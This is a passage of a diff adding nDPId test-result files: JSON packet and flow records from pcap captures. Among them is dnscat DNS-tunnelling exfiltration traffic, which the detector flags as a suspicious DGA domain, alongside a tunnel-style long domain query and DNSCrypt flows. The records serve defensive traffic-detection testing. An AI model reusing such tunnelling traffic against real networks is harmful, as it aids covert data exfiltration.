{"query":"dnscat.a35c00f5005703c8b1b8cd000118b52347aeb1d73340c97cca43c34b27cf.edf0dbda","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":5,"rsp_addr":"0.0.0.0"}} +00607{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978148,"pkt_ts_usec":770600,"pkt_caplen":193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":193,"pkt_l4_len":159,"pkt":"jNzURr7Eqqru7hERCABFAACzPONAAD8R1SXAqMunwKjcOAA13DUAn\/NXRz6BgAABAAEAAAAABmRuc2NhdDxhMzVjMDBmNTAwNTcwM2M4YjFiOGNkMDAwMTE4YjUyMzQ3YWViMWQ3MzM0MGM5N2NjYTQzYzM0YjI3Y2YIZWRmMGRiZGEAAA8AAcAMAA8AAQAAADwALQAKBmRuc2NhdCJmYWVlMDBmNTAwZmFjZGFmZjY2Y2Y5ZmZmZmZmZDMyZGJjAA=="} +00783{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1580978146717,"flow_last_seen":1580978148770,"flow_tot_l4_data_len":1178,"flow_min_l4_data_len":102,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":196,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.a35c00f5005703c8b1b8cd000118b52347aeb1d73340c97cca43c34b27cf.edf0dbda","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00481{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978148,"pkt_ts_usec":773336,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"qqru7hERjNzURr7ECABFAABXemxAAD8RAADAqNw4wKjLp9w1ADUAQymGG10BAAABAAAAAAAABmRuc2NhdCJmOTdjMDFmNTAwNmM3OThiOGQ2ZTk5MDAwMmUzNzcyYmM4AAAQAAE="} +00546{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978148,"pkt_ts_usec":774576,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"jNzURr7Eqqru7hERCABFAACGPORAAD8R1VHAqMunwKjcOAA13DUAcnoeG12BgAABAAEAAAAABmRuc2NhdCJmOTdjMDFmNTAwNmM3OThiOGQ2ZTk5MDAwMmUzNzcyYmM4AAAQAAHADAAQAAEAAAA8ACMiMjU1NTAxZjUwMDM1MjJlZjQ2NDE1NWZmZmZmZmQzYWE0Yg=="} +00481{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978149,"pkt_ts_usec":783307,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"qqru7hERjNzURr7ECABFAABXepdAAD8RAADAqNw4wKjLp9w1ADUAQymGMhMBAAABAAAAAAAABmRuc2NhdCJjMDgzMDFmNTAwMGViYjFmNDIxYTAzMDAwMzMyMGE2MTViAAAQAAE="} +00548{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978149,"pkt_ts_usec":784952,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"jNzURr7Eqqru7hERCABFAACGPZxAAD8R1JnAqMunwKjcOAA13DUAcltcMhOBgAABAAEAAAAABmRuc2NhdCJjMDgzMDFmNTAwMGViYjFmNDIxYTAzMDAwMzMyMGE2MTViAAAQAAHADAAQAAEAAAA8ACMiNjFkNzAxZjUwMGI3MWIxNWQyODQ1ZmZmZmZmZmQzYWE0Yg=="} +00483{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978150,"pkt_ts_usec":792508,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"qqru7hERjNzURr7ECABFAABXer1AAD8RAADAqNw4wKjLp9w1ADUAQymGrbEBAAABAAAAAAAABmRuc2NhdCI2M2MyMDFmNTAwNWZkMDJjYTVhMWJjMDAwNDcwMTVmM2QzAAAFAAE="} +00556{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978150,"pkt_ts_usec":794073,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"jNzURr7Eqqru7hERCABFAACOPcRAAD8R1GnAqMunwKjcOAA13DUAevGsrbGBgAABAAEAAAAABmRuc2NhdCI2M2MyMDFmNTAwNWZkMDJjYTVhMWJjMDAwNDcwMTVmM2QzAAAFAAHADAAFAAEAAAA8ACsGZG5zY2F0IjdmMjcwMWY1MDAyMmQyZTcwNmJjODlmZmZmZmZkM2FhNGIA"} +00483{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978151,"pkt_ts_usec":800983,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"qqru7hERjNzURr7ECABFAABXeuJAAD8RAADAqNw4wKjLp9w1ADUAQymGXxkBAAABAAAAAAAABmRuc2NhdCJmYjhiMDFmNTAwMmZjMDE3ZTYxYmRhMDAwNWQ3YTZhZWFjAAAQAAE="} +00548{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978151,"pkt_ts_usec":802508,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"jNzURr7Eqqru7hERCABFAACGPjJAAD8R1APAqMunwKjcOAA13DUAckeuXxmBgAABAAEAAAAABmRuc2NhdCJmYjhiMDFmNTAwMmZjMDE3ZTYxYmRhMDAwNWQ3YTZhZWFjAAAQAAHADAAQAAEAAAA8ACMiYTYzZjAxZjUwMDc0MjhjMzBlMWMwYWZmZmZmZmQzYWE0Yg=="} +00483{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978152,"pkt_ts_usec":810482,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"qqru7hERjNzURr7ECABFAABXezVAAD8RAADAqNw4wKjLp9w1ADUAQymG420BAAABAAAAAAAABmRuc2NhdCJjNGY5MDFmNTAwNDcxY2Q2ODNlZWQwMDAwNmY5MDdmMGY0AAAPAAE="} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":255,"flow_first_seen":1580978146717,"flow_last_seen":1580978206666,"flow_tot_l4_data_len":50136,"flow_min_l4_data_len":67,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":196,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.a35c00f5005703c8b1b8cd000118b52347aeb1d73340c97cca43c34b27cf.edf0dbda","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/dns_long_domainname.pcap.out b/test/results/dns_long_domainname.pcap.out new file mode 100644 index 000000000..0f726ceee --- /dev/null +++ b/test/results/dns_long_domainname.pcap.out @@ -0,0 +1,5 @@ +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dns_long_domainname.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1599686652555,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.168","dst_ip":"8.8.8.8","src_port":65311,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dns_long_domainname.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1599686652,"pkt_ts_usec":555538,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"EBMx8Tl2KDc3AG3ICABFAABZsREAAEAR9yLAqAGoCAgICP8fADUARcOpi1QBAAABAAAAAAAABmdtcjAyYwIxNgEwDGZoa2Zoc2RrZmhzawZ0dW5uZWwHZXhhbXBsZQNjb20AAAEAAQ=="} +00668{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dns_long_domainname.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1599686652555,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.168","dst_ip":"8.8.8.8","src_port":65311,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"gmr02c.16.0.fhkfhsdkfhsk.tunnel.example.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00562{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns_long_domainname.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1599686652,"pkt_ts_usec":578187,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"KDc3AG3IEBMx8Tl2CABFAACR3WoAAHYRlJEICAgIwKgBqAA1\/x8AfQAAi1SBgwABAAAAAQAABmdtcjAyYwIxNgEwDGZoa2Zoc2RrZmhzawZ0dW5uZWwHZXhhbXBsZQNjb20AAAEAAcAsAAYAAQAABcMALAJucwVpY2FubgNvcmcAA25vYwNkbnPATHhn+r4AABwgAAAOEAASdQAAAA4Q"} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"dns_long_domainname.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1599686652555,"flow_last_seen":1599686652578,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":69,"flow_max_l4_data_len":125,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.168","dst_ip":"8.8.8.8","src_port":65311,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"gmr02c.16.0.fhkfhsdkfhsk.tunnel.example.com","num_queries":1,"num_answers":1,"reply_code":3,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/dnscrypt-v1-and-resolver-pings.pcap.out b/test/results/dnscrypt-v1-and-resolver-pings.pcap.out new file mode 100644 index 000000000..7dcdac182 --- /dev/null +++ b/test/results/dnscrypt-v1-and-resolver-pings.pcap.out @@ -0,0 +1,1250 @@ +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":38388,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01099{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":348929,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCf9AAL0Rd68KAAABlTjkLZX0AbsCCDw8f0cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":38388,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02382{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":348955,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgAgAL0Rk+4KAAABlTjkLbKaAbsGBGxVf0QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":348966,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgAAub0RuMEKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00194{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02382{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":348987,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgEgAL0Rk+0KAAABlTjkLYqnAbsGBJRGf0YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":946735705348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":348993,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgEAub0RuMAKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00194{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 